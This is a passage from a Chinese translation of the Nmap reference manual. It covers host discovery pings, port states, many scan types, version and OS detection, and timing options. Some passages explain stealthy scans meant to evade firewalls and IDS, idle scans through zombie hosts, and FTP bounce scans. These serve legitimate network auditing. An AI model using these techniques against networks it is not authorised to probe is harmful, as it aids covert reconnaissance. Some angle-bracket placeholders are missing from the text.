还有一个主机发现的选项是UDP ping,它发送一个空的(除非指定了–data-length UDP报文到给定的端口。端口列表的格式和前面讨论过的-PS和-PA选项还是一样。 如果不指定端口,默认是31338。该默认值可以通过在编译时改变nmap.h文件中的 DEFAULT-UDP-PROBE-PORT值进行配置。默认使用这样一个奇怪的端口是因为对开放端口 进行这种扫描一般都不受欢迎。

如果目标机器的端口是关闭的,UDP探测应该马上得到一个ICMP端口无法到达的回应报文。 这对于Nmap意味着该机器正在运行。 许多其它类型的ICMP错误,像主机/网络无法到达或者TTL超时则表示down掉的或者不可到达的主机。 没有回应也被这样解释。如果到达一个开放的端口,大部分服务仅仅忽略这个 空报文而不做任何回应。这就是为什么默认探测端口是31338这样一个 极不可能被使用的端口。少数服务如chargen会响应一个空的UDP报文, 从而向Nmap表明该机器正在运行。

该扫描类型的主要优势是它可以穿越只过滤TCP的防火墙和过滤器。 例如。我曾经有过一个Linksys BEFW11S4无线宽带路由器。默认情况下, 该设备对外的网卡过滤所有TCP端口,但UDP探测仍然会引发一个端口不可到达 的消息,从而暴露了它自己。

-PE; -PP; -PM (ICMP Ping Types)

除了前面讨论的这些不常见的TCP和UDP主机发现类型, Nmap也能发送世人皆知的ping 程序所发送的报文。Nmap发送一个ICMP type 8 (回声请求)报文到目标IP地址, 期待从运行的主机得到一个type 0 (回声响应)报文。 对于网络探索者而言,不幸的是,许多主机和 防火墙现在封锁这些报文,而不是按期望的那样响应, 参见RFC 1122。因此,仅仅ICMP扫描对于互联网上的目标通常是不够的。 但对于系统管理员监视一个内部网络,它们可能是实际有效的途径。 使用-PE选项打开该回声请求功能。

虽然回声请求是标准的ICMP ping查询, Nmap并不止于此。ICMP标准 (RFC 792)还规范了时间戳请求,信息请求 request,和地址掩码请求,它们的代码分别是13,15和17。 虽然这些查询的表面目的是获取信息如地址掩码和当前时间, 它们也可以很容易地用于主机发现。 很简单,回应的系统就是在运行的系统。Nmap目前没有实现信息请求报文, 因为它们还没有被广泛支持。RFC 1122 坚持 “主机不应该实现这些消息”。 时间戳和地址掩码查询可以分别用-PP和-PM选项发送。 时间戳响应(ICMP代码14)或者地址掩码响应(代码18)表示主机在运行。 当管理员特别封锁了回声请求报文而忘了其它ICMP查询可能用于 相同目的时,这两个查询可能很有价值。

-PR (ARP Ping)

最常见的Nmap使用场景之一是扫描一个以太局域网。在大部分局域网上,特别是那些使用基于 RFC1918私有地址范围的网络,在一个给定的时间绝大部分 IP地址都是不使用的。 当Nmap试图发送一个原始IP报文如ICMP回声请求时, 操作系统必须确定对应于目标IP的硬件地址(ARP),这样它才能把以太帧送往正确的地址。 这一般比较慢而且会有些问题,因为操作系统设计者认为一般不会在短时间内 对没有运行的机器作几百万次的ARP请求。

当进行ARP扫描时,Nmap用它优化的算法管理ARP请求。当它收到响应时,Nmap甚至不需要担心基于IP的ping报文,既然它已经知道该主机正在运行了。 这使得ARP扫描比基于IP的扫描更快更可靠。 所以默认情况下,如果Nmap发现目标主机就在它所在的局域网上,它会进行ARP扫描。即使指定了不同的ping类型(如 -PI或者 -PS) ,Nmap也会对任何相同局域网上的目标机使用ARP。 如果您真的不想要ARP扫描,指定 –send-ip。

-n (不用域名解析)

告诉Nmap 永不对它发现的活动IP地址进行反向域名解析。既然DNS一般比较慢,这可以让事情更快些。

-R (为所有目标解析域名)

告诉Nmap 永远 对目标IP地址作反向域名解析。 一般只有当发现机器正在运行时才进行这项操作。

–system-dns (使用系统域名解析器)

默认情况下,Nmap通过直接发送查询到您的主机上配置的域名服务器 来解析域名。为了提高性能,许多请求 (一般几十个 ) 并发执行。如果您希望使用系统自带的解析器,就指定该选项 (通过getnameinfo()调用一次解析一个IP)。除非Nmap的DNS代码有bug–如果是这样,请联系我们。 一般不使用该选项,因为它慢多了。系统解析器总是用于IPv6扫描。

端口扫描基础

虽然Nmap这些年来功能越来越多, 它也是从一个高效的端口扫描器开始的,并且那仍然是它的核心功能。 nmap这个简单的命令扫描主机上的超过 1660个TCP端口。 。许多传统的端口扫描器只列出所有端口是开放还是关闭的, Nmap的信息粒度比它们要细得多。 它把端口分成六个状态: open(开放的), closed(关闭的),filtered(被过滤的), unfiltered(未被过滤的), open|filtered(开放或者被过滤的),或者 closed|filtered(关闭或者被过滤的)。

这些状态并非端口本身的性质,而是描述Nmap怎样看待它们。例如, 对于同样的目标机器的135/tcp端口,从同网络扫描显示它是开放的,而跨网络作完全相同的扫描则可能显示它是 filtered(被过滤的)。

Nmap所识别的6个端口状态:

open(开放的)

应用程序正在该端口接收TCP 连接或者UDP报文。发现这一点常常是端口扫描 的主要目标。安全意识强的人们知道每个开放的端口 都是攻击的入口。攻击者或者入侵测试者想要发现开放的端口。 而管理员则试图关闭它们或者用防火墙保护它们以免妨碍了合法用户。 非安全扫描可能对开放的端口也感兴趣,因为它们显示了网络上那些服务可供使用。

closed(关闭的)

关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。 它们可以显示该IP地址上(主机发现,或者ping扫描)的主机正在运行up 也对部分操作系统探测有所帮助。 因为关闭的关口是可访问的,也许过会儿值得再扫描一下,可能一些又开放了。 系统管理员可能会考虑用防火墙封锁这样的端口。 那样他们就会被显示为被过滤的状态,下面讨论。

filtered(被过滤的)

由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。这样的端口让攻击者感觉很挫折,因为它们几乎不提供 任何信息。有时候它们响应ICMP错误消息如类型3代码13 (无法到达目标: 通信被管理员禁止),但更普遍的是过滤器只是丢弃探测帧, 不做任何响应。 这迫使Nmap重试若干次以访万一探测包是由于网络阻塞丢弃的。 这使得扫描速度明显变慢。

unfiltered(未被过滤的)

未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。 只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。 用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。

open|filtered(开放或者被过滤的)

当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered(关闭或者被过滤的)

该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中。

端口扫描技术

作为一个修车新手,我可能折腾几个小时来摸索怎样把基本工具(锤子,胶带,扳子等) 用于手头的任务。当我惨痛地失败,把我的老爷车拖到一个真正的技师那儿的时候 ,他总是在他的工具箱里翻来翻去,直到拽出一个完美的工具然后似乎不费吹灰之力搞定它。 端口扫描的艺术和这个类似。专家理解成打的扫描技术,选择最适合的一种 (或者组合)来完成给定的 任务。 另一方面,没有经验的用户和刚入门者总是用默认的SYN扫描解决每个问题。 既然Nmap是免费的,掌握端口扫描的唯一障碍就是知识。这当然是汽车世界所不能比的, 在那里,可能需要高超的技巧才能确定您需要一个压杆弹簧压缩机,接着您还得为它付数千美金。

大部分扫描类型只对特权用户可用。 这是因为他们发送接收原始报文,这在Unix系统需要root权限。 在Windows上推荐使用administrator账户,但是当WinPcap已经被加载到操作系统时, 非特权用户也可以正常使用Nmap。当Nmap在1997年发布时,需要root权限是一个严重的 局限,因为很多用户只有共享的shell账户。现在,世界变了,计算机便宜了,更多人拥有互联网连接 ,桌面UNIX系统 (包括Linux和MAC OS X)很普遍了。Windows版本的Nmap现在也有了,这使它可以运行在更多的桌面上。 由于所有这些原因,用户不再需要用有限的共享shell账户运行Nmap。 这是很幸运的,因为特权选项让Nmap强大得多也灵活得多。

虽然Nmap努力产生正确的结果,但请记住所有结果都是基于目标机器(或者它们前面的防火墙)返回的报文的。 。这些主机也许是不值得信任的,它们可能响应以迷惑或误导Nmap的报文。 更普遍的是非RFC兼容的主机以不正确的方式响应Nmap探测。FIN,Null和Xmas扫描 特别容易遇到这个问题。这些是特定扫描类型的问题,因此我们在个别扫描类型里讨论它们。

这一节讨论Nmap支持的大约十几种扫描技术。 一般一次只用一种方法, 除了UDP扫描(-sU)可能和任何一种TCP扫描类型结合使用。 友情提示一下,端口扫描类型的选项格式是-s, 其中是个显眼的字符,通常是第一个字符。 一个例外是deprecated FTP bounce扫描(-b)。默认情况下,Nmap执行一个 SYN扫描,但是如果用户没有权限发送原始报文(在UNIX上需要root权限)或者如果指定的是IPv6目标,Nmap调用connect()。 本节列出的扫描中,非特权用户只能执行connect()和ftp bounce扫描。

-sS (TCP SYN扫描)

SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口。 SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。 它还可以明确可靠地区分open(开放的), closed(关闭的),和filtered(被过滤的) 状态

它常常被称为半开放扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文, 就像您真的要打开一个连接,然后等待响应。 SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。如果数次重发后仍没响应, 该端口就被标记为被过滤。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

-sT (TCP connect()扫描)

当SYN扫描不能用时,CP Connect()扫描就是默认的TCP扫描。 当用户没有权限发送原始报文或者扫描IPv6网络时,就是这种情况。 Instead of writing raw packets as most other scan types do,Nmap通过创建connect() 系统调用要求操作系统和目标机以及端口建立连接,而不像其它扫描类型直接发送原始报文。 这是和Web浏览器,P2P客户端以及大多数其它网络应用程序用以建立连接一样的 高层系统调用。它是叫做Berkeley Sockets API编程接口的一部分。Nmap用 该API获得每个连接尝试的状态信息,而不是读取响应的原始报文。

当SYN扫描可用时,它通常是更好的选择。因为Nmap对高层的 connect()调用比对原始报文控制更少, 所以前者效率较低。 该系统调用完全连接到开放的目标端口而不是像SYN扫描进行 半开放的复位。这不仅花更长时间,需要更多报文得到同样信息,目标机也更可能 记录下连接。IDS(入侵检测系统)可以捕获两者,但大部分机器没有这样的警报系统。 当Nmap连接,然后不发送数据又关闭连接, 许多普通UNIX系统上的服务会在syslog留下记录,有时候是一条加密的错误消息。 此时,有些真正可怜的服务会崩溃,虽然这不常发生。如果管理员在日志里看到来自同一系统的 一堆连接尝试,她应该知道她的系统被扫描了。

-sU (UDP扫描)

虽然互联网上很多流行的服务运行在TCP 协议上,UDP服务也不少。 DNS,SNMP,和DHCP (注册的端口是53,161/162,和67/68)是最常见的三个。 因为UDP扫描一般较慢,比TCP更困难,一些安全审核人员忽略这些端口。 这是一个错误,因为可探测的UDP服务相当普遍,攻击者当然不会忽略整个协议。 所幸,Nmap可以帮助记录并报告UDP端口。

UDP扫描用-sU选项激活。它可以和TCP扫描如 SYN扫描 (-sS)结合使用来同时检查两种协议。

UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed(关闭的)。 其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。 偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。 如果几次重试后还没有响应,该端口就被认为是 open|filtered(开放|被过滤的)。 这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。 可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。

UDP扫描的巨大挑战是怎样使它更快速。 开放的和被过滤的端口很少响应,让Nmap超时然后再探测,以防探测帧或者 响应丢失。关闭的端口常常是更大的问题。 它们一般发回一个ICMP端口无法到达错误。但是不像关闭的TCP端口响应SYN或者Connect 扫描所发送的RST报文,许多主机在默认情况下限制ICMP端口不可到达消息。 Linux和Solaris对此特别严格。例如, Linux 2.4.20内核限制一秒钟只发送一条目标不可到达消息 (见net/ipv4/icmp。c)。

Nmap探测速率限制并相应地减慢来避免用那些目标机会丢弃的无用报文来阻塞 网络。不幸的是,Linux式的一秒钟一个报文的限制使65,536个端口的扫描要花 18小时以上。加速UDP扫描的方法包括并发扫描更多的主机,先只对主要端口进行快速 扫描,从防火墙后面扫描,使用–host-timeout跳过慢速的 主机。

-sN; -sF; -sX (TCP Null,FIN,and Xmas扫描)

这三种扫描类型 (甚至用下一节描述的 –scanflags 选项的更多类型) 在TCP RFC中发掘了一个微妙的方法来区分open(开放的)和 closed(关闭的)端口。第65页说“如果 [目标]端口状态是关闭的…. 进入的不含RST的报文导致一个RST响应。” 接下来的一页 讨论不设置SYN,RST,或者ACK位的报文发送到开放端口: “理论上,这不应该发生,如果您确实收到了,丢弃该报文,返回。 ”

如果扫描系统遵循该RFC,当端口关闭时,任何不包含SYN,RST,或者ACK位的报文会导致 一个RST返回,而当端口开放时,应该没有任何响应。只要不包含SYN,RST,或者ACK, 任何其它三种(FIN,PSH,and URG)的组合都行。Nmap有三种扫描类型利用这一点:

Null扫描 (-sN)

不设置任何标志位(tcp标志头是0)

FIN扫描 (-sF)

只设置TCP FIN标志位。

Xmas扫描 (-sX)

设置FIN,PSH,和URG标志位,就像点亮圣诞树上所有的灯一样。

除了探测报文的标志位不同,这三种扫描在行为上完全一致。 如果收到一个RST报文,该端口被认为是 closed(关闭的),而没有响应则意味着 端口是open|filtered(开放或者被过滤的)。 如果收到ICMP不可到达错误(类型 3,代号 1,2,3,9,10,或者13),该端口就被标记为 被过滤的。

这些扫描的关键优势是它们能躲过一些无状态防火墙和报文过滤路由器。 另一个优势是这些扫描类型甚至比SYN扫描还要隐秘一些。但是别依赖它 – 多数 现代的IDS产品可以发现它们。一个很大的不足是并非所有系统都严格遵循RFC 793。 许多系统不管端口开放还是关闭,都响应RST。 这导致所有端口都标记为closed(关闭的)。 这样的操作系统主要有Microsoft Windows,许多Cisco设备,BSDI,以及IBM OS/400。 但是这种扫描对多数UNIX系统都能工作。这些扫描的另一个不足是 它们不能辨别open(开放的)端口和一些特定的 filtered(被过滤的)端口,从而返回 open|filtered(开放或者被过滤的)。

-sA (TCP ACK扫描)

这种扫描与目前为止讨论的其它扫描的不同之处在于 它不能确定open(开放的)或者 open|filtered(开放或者过滤的))端口。 它用于发现防火墙规则,确定它们是有状态的还是无状态的,哪些端口是被过滤的。

ACK扫描探测报文只设置ACK标志位(除非您使用 –scanflags)。当扫描未被过滤的系统时, open(开放的)和closed(关闭的) 端口 都会返回RST报文。Nmap把它们标记为 unfiltered(未被过滤的),意思是 ACK报文不能到达,但至于它们是open(开放的)或者 closed(关闭的) 无法确定。不响应的端口 或者发送特定的ICMP错误消息(类型3,代号1,2,3,9,10, 或者13)的端口,标记为 filtered(被过滤的)。

-sW (TCP窗口扫描)

除了利用特定系统的实现细节来区分开放端口和关闭端口,当收到RST时不总是打印unfiltered, 窗口扫描和ACK扫描完全一样。 它通过检查返回的RST报文的TCP窗口域做到这一点。 在某些系统上,开放端口用正数表示窗口大小(甚至对于RST报文) 而关闭端口的窗口大小为0。因此,当收到RST时,窗口扫描不总是把端口标记为 unfiltered, 而是根据TCP窗口值是正数还是0,分别把端口标记为open或者 closed

该扫描依赖于互联网上少数系统的实现细节, 因此您不能永远相信它。不支持它的系统会通常返回所有端口closed。 当然,一台机器没有开放端口也是有可能的。 如果大部分被扫描的端口是 closed,而一些常见的端口 (如 22, 25,53) 是 filtered,该系统就非常可疑了。 偶尔地,系统甚至会显示恰恰相反的行为。 如果您的扫描显示1000个开放的端口和3个关闭的或者被过滤的端口, 那么那3个很可能也是开放的端口。

-sM (TCP Maimon扫描)

Maimon扫描是用它的发现者Uriel Maimon命名的。他在 Phrack Magazine issue #49 (November 1996)中描述了这一技术。 Nmap在两期后加入了这一技术。 这项技术和Null,FIN,以及Xmas扫描完全一样,除了探测报文是FIN/ACK。 根据RFC 793 (TCP),无论端口开放或者关闭,都应该对这样的探测响应RST报文。 然而,Uriel注意到如果端口开放,许多基于BSD的系统只是丢弃该探测报文。

–scanflags (定制的TCP扫描)

真正的Nmap高级用户不需要被这些现成的扫描类型束缚。 –scanflags选项允许您通过指定任意TCP标志位来设计您自己的扫描。 让您的创造力流动,躲开那些仅靠本手册添加规则的入侵检测系统!

–scanflags选项可以是一个数字标记值如9 (PSH和FIN), 但使用字符名更容易些。 只要是URG, ACK,PSH, RST,SYN,and FIN的任何组合就行。例如,–scanflags URGACKPSHRSTSYNFIN设置了所有标志位,但是这对扫描没有太大用处。 标志位的顺序不重要。

除了设置需要的标志位,您也可以设置 TCP扫描类型(如-sA或者-sF)。 那个基本类型告诉Nmap怎样解释响应。例如, SYN扫描认为没有响应意味着 filtered端口,而FIN扫描则认为是 open|filtered。 除了使用您指定的TCP标记位,Nmap会和基本扫描类型一样工作。 如果您不指定基本类型,就使用SYN扫描。

-sI(Idlescan)

这种高级的扫描方法允许对目标进行真正的TCP端口盲扫描 (意味着没有报文从您的真实IP地址发送到目标)。相反,side-channel攻击 利用zombie主机上已知的IP分段ID序列生成算法来窥探目标上开放端口的信息。 IDS系统将显示扫描来自您指定的zombie机(必须运行并且符合一定的标准)。 这种奇妙的扫描类型太复杂了,不能在此完全描述,所以我写一篇非正式的论文, 发布在https://nmap.org/book/idlescan.html

除了极端隐蔽(由于它不从真实IP地址发送任何报文), 该扫描类型可以建立机器间的基于IP的信任关系。 端口列表从zombie 主机的角度。显示开放的端口。 因此您可以尝试用您认为(通过路由器/包过滤规则)可能被信任的 zombies扫描目标。

如果您由于IPID改变希望探测zombie上的特定端口, 您可以在zombie 主机后加上一个冒号和端口号。 否则Nmap会使用默认端口(80)。

-sO (IP协议扫描)

IP 协议扫描可以让您确定目标机支持哪些IP协议 (TCP,ICMP,IGMP,等等)。从技术上说,这不是端口扫描 ,既然它遍历的是IP协议号而不是TCP或者UDP端口号。 但是它仍使用 -p选项选择要扫描的协议号, 用正常的端口表格式报告结果,甚至用和真正的端口扫描一样 的扫描引擎。因此它和端口扫描非常接近,也被放在这里讨论。

除了本身很有用,协议扫描还显示了开源软件的力量。 尽管基本想法非常简单,我过去从没想过增加这一功能也没收到任何对它的请求。 在2000年夏天,Gerhard Rieger孕育了这个想法,写了一个很棒的补丁程序,发送到nmap-hackers邮件列表。 我把那个补丁加入了Nmap,第二天发布了新版本。 几乎没有商业软件会有用户有足够的热情设计并贡献他们的改进。

协议扫描以和UDP扫描类似的方式工作。它不是在UDP报文的端口域上循环, 而是在IP协议域的8位上循环,发送IP报文头。 报文头通常是空的,不包含数据,甚至不包含所申明的协议的正确报文头 TCP,UDP,和ICMP是三个例外。它们三个会使用正常的协议头,因为否则某些系 统拒绝发送,而且Nmap有函数创建它们。协议扫描不是注意ICMP端口不可到达消息, 而是ICMP 协议不可到达消息。如果Nmap从目标主机收到 任何协议的任何响应,Nmap就把那个协议标记为open。 ICMP协议不可到达 错误(类型 3,代号 2) 导致协议被标记为 closed。其它ICMP不可到达协议(类型 3,代号 1,3,9,10,或者13) 导致协议被标记为 filtered (虽然同时他们证明ICMP是 open )。如果重试之后仍没有收到响应, 该协议就被标记为open|filtered

-b(FTP弹跳扫描)

FTP协议的一个有趣特征(RFC 959) 是支持所谓代理ftp连接。它允许用户连接到一台FTP服务器,然后要求文件送到一台第三方服务器。 这个特性在很多层次上被滥用,所以许多服务器已经停止支持它了。其中一种就是导致FTP服务器对其它主机端口扫描。 只要请求FTP服务器轮流发送一个文件到目标主机上的所感兴趣的端口。 错误消息会描述端口是开放还是关闭的。 这是绕过防火墙的好方法,因为FTP服务器常常被置于可以访问比Web主机更多其它内部主机的位置。 Nmap用-b选项支持ftp弹跳扫描。参数格式是:@:是某个脆弱的FTP服务器的名字或者IP地址。 您也许可以省略:, 如果服务器上开放了匿名用户(user:anonymous password:-wwwuser@)。 端口号(以及前面的冒号) 也可以省略,如果使用默认的FTP端口(21)。

当Nmap1997年发布时,这个弱点被广泛利用,但现在大部分已经被fix了。 脆弱的服务器仍然存在,所以如果其它都失败了,这也值得一试。 如果您的目标是绕过防火墙,扫描目标网络上的开放的21端口(或者 甚至任何ftp服务,如果您用版本探测扫描所有端口), 然后对每个尝试弹跳扫描。Nmap会告诉您该主机脆弱与否。 如果您只是试着玩Nmap,您不必(事实上,不应该)限制您自己。 在您随机地在互联网上寻找脆弱的FTP服务器时,考虑一下系统管理员不太喜欢您这样滥用他们的服务器。

端口说明和扫描顺序

除了所有前面讨论的扫描方法, Nmap提供选项说明那些端口被扫描以及扫描是随机还是顺序进行。 默认情况下,Nmap用指定的协议对端口1到1024以及nmap-services 文件中列出的更高的端口在扫描。

-p(只扫描指定的端口)

该选项指明您想扫描的端口,覆盖默认值。 单个端口和用连字符表示的端口范围(如 1-1023)都可以。 范围的开始以及/或者结束值可以被省略, 分别导致Nmap使用1和65535。所以您可以指定 -p-从端口1扫描到65535。 如果您特别指定,也可以扫描端口0。 对于IP协议扫描(-sO),该选项指定您希望扫描的协议号 (0-255)。

当既扫描TCP端口又扫描UDP端口时,您可以通过在端口号前加上T: 或者U:指定协议。 协议限定符一直有效您直到指定另一个。 例如,参数 -p U:53,111,137,T:21-25,80,139,8080 将扫描UDP 端口53,111,和137,同时扫描列出的TCP端口。注意,要既扫描 UDP又扫描TCP,您必须指定 -sU ,以及至少一个TCP扫描类型(如 -sS,-sF,或者 -sT)。如果没有给定协议限定符, 端口号会被加到所有协议列表。

-F (快速 (有限的端口) 扫描)

在nmap的nmap-services 文件中(对于-sO,是协议文件)指定您想要扫描的端口。 这比扫描所有65535个端口快得多。 因为该列表包含如此多的TCP端口(1200多),这和默认的TCP扫描 scan (大约1600个端口)速度差别不是很大。如果您用–datadir选项指定您自己的 小小的nmap-services文件 ,差别会很惊人。

-r (不要按随机顺序扫描端口)

默认情况下,Nmap按随机顺序扫描端口 (除了出于效率的考虑,常用的端口前移)。这种随机化通常都是受欢迎的, 但您也可以指定-r来顺序端口扫描。

服务和版本探测

把Nmap指向一个远程机器,它可能告诉您 端口25/tcp,80/tcp,和53/udp是开放的。使用包含大约2,200个著名的服务的 nmap-services数据库, Nmap可以报告那些端口可能分别对应于一个邮件服务器 (SMTP),web服务器(HTTP),和域名服务器(DNS)。 这种查询通常是正确的 – 事实上,绝大多数在TCP端口25监听的守护进程是邮件 服务器。然而,您不应该把赌注押在这上面! 人们完全可以在一些奇怪的端口上运行服务。

即使Nmap是对的,假设运行服务的确实是 SMTP,HTTP和DNS,那也不是特别多的信息。 当为您的公司或者客户作安全评估(或者甚至简单的网络明细清单)时, 您确实想知道正在运行什么邮件和域名服务器以及它们的版本。 有一个精确的版本号对了解服务器有什么漏洞有巨大帮助。 版本探测可以帮您获得该信息。

在用某种其它类型的扫描方法发现TCP 和/或者UDP端口后, 版本探测会询问这些端口,确定到底什么服务正在运行。 nmap-service-probes 数据库包含查询不同服务的探测报文 和解析识别响应的匹配表达式。 Nmap试图确定服务协议 (如 ftp,ssh,telnet,http),应用程序名(如ISC Bind,Apache httpd,Solaris telnetd),版本号, 主机名,设备类型(如 打印机,路由器),操作系统家族 (如Windows,Linux)以及其它的细节,如 如是否可以连接X server,SSH协议版本 ,或者KaZaA用户名)。当然,并非所有服务都提供所有这些信息。 如果Nmap被编译成支持OpenSSL, 它将连接到SSL服务器,推测什么服务在加密层后面监听。 当发现RPC服务时, Nmap RPC grinder (-sR)会自动被用于确定RPC程序和它的版本号。 如果在扫描某个UDP端口后仍然无法确定该端口是开放的还是被过滤的,那么该端口状态就 被标记为open|filtered。 版本探测将试图从这些端口引发一个响应(就像它对开放端口做的一样), 如果成功,就把状态改为开放。 open|filtered TCP端口用同样的方法对待。 注意Nmap -A选项在其它情况下打开版本探测。 有一篇关于版本探测的原理,使用和定制的文章在http://www.insecure.org/nmap/vscan/

当Nmap从某个服务收到响应,但不能在数据库中找到匹配时, 它就打印一个特殊的fingerprint和一个URL给您提交,如果您确实知道什么服务运行在端口。 请花两分钟提交您的发现,让每个人受益。由于这些提交, Nmap有350种以上协议如smtp,ftp,http等的大约3,000条模式匹配。

用下列的选项打开和控制版本探测:

-sV (版本探测)

打开版本探测。 您也可以用-A同时打开操作系统探测和版本探测。

–allports (不为版本探测排除任何端口)

默认情况下,Nmap版本探测会跳过9100 TCP端口,因为一些打印机简单地打印送到该端口的 任何数据,这回导致数十页HTTP get请求,二进制 SSL会话请求等等被打印出来。这一行为可以通过修改或删除nmap-service-probes 中的Exclude指示符改变, 您也可以不理会任何Exclude指示符,指定–allports扫描所有端口

–version-intensity(设置 版本扫描强度)

当进行版本扫描(-sV)时,nmap发送一系列探测报文 ,每个报文都被赋予一个1到9之间的值。 被赋予较低值的探测报文对大范围的常见服务有效,而被赋予较高值的报文 一般没什么用。强度水平说明了应该使用哪些探测报文。数值越高, 服务越有可能被正确识别。 然而,高强度扫描花更多时间。强度值必须在0和9之间。 默认是7。当探测报文通过nmap-service-probes ports指示符 注册到目标端口时,无论什么强度水平,探测报文都会被尝试。这保证了DNS 探测将永远在任何开放的53端口尝试, SSL探测将在443端口尝试,等等。

–version-light (打开轻量级模式)

这是 –version-intensity 2的方便的别名。轻量级模式使 版本扫描快许多,但它识别服务的可能性也略微小一点。

–version-all (尝试每个探测)

–version-intensity 9的别名, 保证对每个端口尝试每个探测报文。

–version-trace (跟踪版本扫描活动)

这导致Nmap打印出详细的关于正在进行的扫描的调试信息。 它是您用–packet-trace所得到的信息的子集。

-sR (RPC扫描)

这种方法和许多端口扫描方法联合使用。 它对所有被发现开放的TCP/UDP端口执行SunRPC程序NULL命令,来试图 确定它们是否RPC端口,如果是, 是什么程序和版本号。因此您可以有效地获得和rpcinfo -p一样的信息, 即使目标的端口映射在防火墙后面(或者被TCP包装器保护)。Decoys目前不能和RPC scan一起工作。 这作为版本扫描(-sV)的一部分自动打开。 由于版本探测包括它并且全面得多,-sR很少被需要。

操作系统探测

Nmap最著名的功能之一是用TCP/IP协议栈fingerprinting进行远程操作系统探测。 Nmap发送一系列TCP和UDP报文到远程主机,检查响应中的每一个比特。 在进行一打测试如TCP ISN采样,TCP选项支持和排序,IPID采样,和初始窗口大小检查之后, Nmap把结果和数据库nmap-os-fingerprints中超过 1500个已知的操作系统的fingerprints进行比较,如果有匹配,就打印出操作系统的详细信息。 每个fingerprint包括一个自由格式的关于OS的描述文本, 和一个分类信息,它提供供应商名称(如Sun),下面的操作系统(如Solaris),OS版本(如10), 和设备类型(通用设备,路由器,switch,游戏控制台, 等)。

如果Nmap不能猜出操作系统,并且有些好的已知条件(如 至少发现了一个开放端口和一个关闭端口),Nmap会提供一个 URL,如果您确知运行的操作系统,您可以把fingerprint提交到那个URL。 这样您就扩大了Nmap的操作系统知识库,从而让每个Nmap用户都受益。

操作系统检测可以进行其它一些测试,这些测试可以利用处理 过程中收集到的信息。例如运行时间检测,使用TCP时间戳选项(RFC 1323) 来估计主机上次重启的时间,这仅适用于提供这类信息的主机。另一种 是TCP序列号预测分类,用于测试针对远程主机建立一个伪造的TCP连接 的可能难度。这对于利用基于源IP地址的可信关系(rlogin,防火墙过滤等) 或者隐含源地址的攻击非常重要。这一类哄骗攻击现在很少见,但一些 主机仍然存在这方面的漏洞。实际的难度值基于统计采样,因此可能会有 一些波动。通常采用英国的分类较好,如“worthy challenge”或者 “trivial joke”。在详细模式(-v)下只以 普通的方式输出,如果同时使用-O,还报告IPID序列产生号。 很多主机的序列号是“增加”类别,即在每个发送包的IP头中 增加ID域值, 这对一些先进的信息收集和哄骗攻击来说是个漏洞。

https://nmap.org/book/osdetect.html文档使用多种语言描述了版本检测的方式、使用和定制。

采用下列选项启用和控制操作系统检测:

-O (启用操作系统检测)

也可以使用-A来同时启用操作系统检测和版本检测。

–osscan-limit (针对指定的目标进行操作系统检测)

如果发现一个打开和关闭的TCP端口时,操作系统检测会更有效。 采用这个选项,Nmap只对满足这个条件的主机进行操作系统检测,这样可以 节约时间,特别在使用-P0扫描多个主机时。这个选项仅在使用 -O或-A 进行操作系统检测时起作用。

–osscan-guess; –fuzzy (推测操作系统检测结果)

当Nmap无法确定所检测的操作系统时,会尽可能地提供最相近的匹配,Nmap默认 进行这种匹配,使用上述任一个选项使得Nmap的推测更加有效。

时间和性能

Nmap开发的最高优先级是性能。在本地网络对一个主机的默认扫描(nmap)需要1/5秒。而仅仅眨眼的 时间,就需要扫描上万甚至几十万的主机。此外,一些特定的扫描选项会明显增 加扫描时间,如UDP扫描和版本检测。同样,防火墙配置以及特殊的响应速度限制也会 增加时间。Nmap使用了并行算法和许多先进的算法来加速扫描,用户对Nmap如何 工作有最终的控制权。高级用户可以仔细地调整Nmap命令,在满足时间要求的同时获得他们所关心的信息。

改善扫描时间的技术有:忽略非关键的检测、升级最新版本的Nmap(性能增强不断改善)。 优化时间参数也会带来实质性的变化,这些参数如下。

–min-hostgroup; –max-hostgroup(调整并行扫描组的大小)

Nmap具有并行扫描多主机端口或版本的能力,Nmap将多个目标IP地址 空间分成组,然后在同一时间对一个组进行扫描。通常,大的组更有效。缺 点是只有当整个组扫描结束后才会提供主机的扫描结果。如果组的大小定义 为50,则只有当前50个主机扫描结束后才能得到报告(详细模式中的补充信息 除外)。

默认方式下,Nmap采取折衷的方法。开始扫描时的组较小, 最小为5,这样便于尽快产生结果;随后增长组的大小,最大为1024。确切的 大小依赖于所给定的选项。为保证效率,针对UDP或少量端口的TCP扫描,Nmap 使用大的组。

–max-hostgroup选项用于说明使用最大的组,Nmap不会超出这个大小。–min-hostgroup选项说明最小的组,Nmap 会保持组大于这个值。如果在指定的接口上没有足够的目标主机来满足所 指定的最小值,Nmap可能会采用比所指定的值小的组。这两个参数虽然很少使用, 但都用于保持组的大小在一个指定的范围之内。

